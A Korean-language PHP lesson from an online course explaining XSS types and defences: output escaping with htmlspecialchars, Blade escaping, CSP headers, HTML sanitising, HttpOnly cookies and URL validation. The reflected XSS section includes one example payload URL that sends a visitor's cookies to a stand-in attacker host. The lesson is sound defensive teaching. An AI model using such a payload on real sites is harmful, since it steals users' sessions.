사이트 간 스크립팅(XSS) 방지
htmlspecialchars로 출력을 이스케이프하고 콘텐츠 보안 정책을 구현합니다.
사이트 간 스크립팅(XSS) 방지은(는) CoddyKit의 무료 PHP Academy 강의입니다. 이것은 4개 중 1번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 PHP Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. PHP Academy 강의에는 총 4개의 강의가 포함되어 있습니다.
XSS란 무엇입니까?
사이트 간 스크립팅(XSS)은 공격자가 다른 사용자가 보는 웹 페이지에 악성 JavaScript를 삽입할 때 발생합니다. 이 스크립트는 피해자의 브라우저에서 실행되며 세션, 쿠키 및 DOM에 접근할 수 있습니다.
반사형 XSS
악성 페이로드가 URL 또는 폼 매개변수에 포함되고, 서버가 이를 응답에 반영합니다.
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>저장형 XSS
페이로드가 데이터베이스에 저장된 후(댓글, 프로필 필드 등) 해당 페이지를 보는 모든 방문자에게 표시됩니다.
DOM 기반 XSS
이 취약점은 전적으로 클라이언트 측 JavaScript에 있으며, innerHTML 또는 document.write를 사용해 신뢰할 수 없는 데이터를 안전하지 않게 DOM에 삽입할 때 발생합니다.
htmlspecialchars()
출력값을 이스케이프하여 HTML 특수 문자를 무해한 엔터티로 변환합니다. 사용자가 제공한 데이터는 렌더링하기 전에 항상 이스케이프해야 합니다.
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesBlade 자동 이스케이프
Laravel Blade의 {{ }} 구문은 자동으로 htmlspecialchars를 호출합니다. 신뢰할 수 있고 정제된 HTML에만 {!! !!}을 사용합니다.
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>콘텐츠 보안 정책(CSP)
CSP HTTP 헤더는 브라우저가 신뢰할 수 있는 출처의 스크립트만 실행하도록 지시하므로, 삽입된 인라인 스크립트가 페이지에 도달하더라도 차단합니다.
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);HTML 입력값 정제
서식 있는 HTML 입력값을 허용해야 한다면(예: WYSIWYG 편집기 사용 시), HTML Purifier와 같은 허용 목록 라이브러리나 mews/purifier Laravel 패키지로 정제합니다.
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);X-XSS-Protection 헤더
X-XSS-Protection: 1; mode=block 헤더를 추가합니다(구형 브라우저 지원). 최신 브라우저는 대신 CSP를 사용합니다.
HTTP 전용 쿠키
세션 쿠키에 HttpOnly 플래그를 설정하면 JavaScript가 쿠키를 읽지 못하므로, 스크립트가 삽입되더라도 XSS를 이용한 세션 탈취를 완화할 수 있습니다.
URL 검증
검증 없이 사용자가 제공한 URL을 href 또는 src에 삽입하지 마십시오. javascript: URI는 XSS를 실행할 수 있습니다.
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}요약
항상 htmlspecialchars(또는 Blade의 {{ }})로 출력값을 이스케이프합니다. 콘텐츠 보안 정책을 추가합니다. 허용 목록 라이브러리로 HTML 입력값을 정제합니다. HttpOnly 쿠키를 사용합니다.
빠른 확인
특수 HTML 문자를 엔터티로 변환하는 PHP 함수는 무엇입니까?
자주 묻는 질문
“사이트 간 스크립팅(XSS) 방지” 강의는 무료인가요?
네 — “사이트 간 스크립팅(XSS) 방지” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 PHP Academy 강의 전체를 잠금 해제할 수 있습니다. PHP Academy 강의에는 총 4개의 강의가 포함되어 있습니다.
“사이트 간 스크립팅(XSS) 방지”에서 뭘 배우나요?
htmlspecialchars로 출력을 이스케이프하고 콘텐츠 보안 정책을 구현합니다. 브라우저에서 직접 실행하는 실습 코드로 PHP Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.
PHP Academy을(를) 시작하는 데 경험이 필요한가요?
사전 경험은 필요하지 않습니다. CoddyKit의 PHP Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 1번째 강의입니다.
“사이트 간 스크립팅(XSS) 방지” 강의는 얼마나 걸리나요?
대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.
이 PHP Academy 강의에서 코드를 작성하고 실행할 수 있나요?
네. 모든 PHP Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.
이 강의의 모든 강의
- 사이트 간 스크립팅(XSS) 방지
- SQL 삽입 및 매개변수화된 쿼리
- CSRF 보호
- 안전한 비밀번호 저장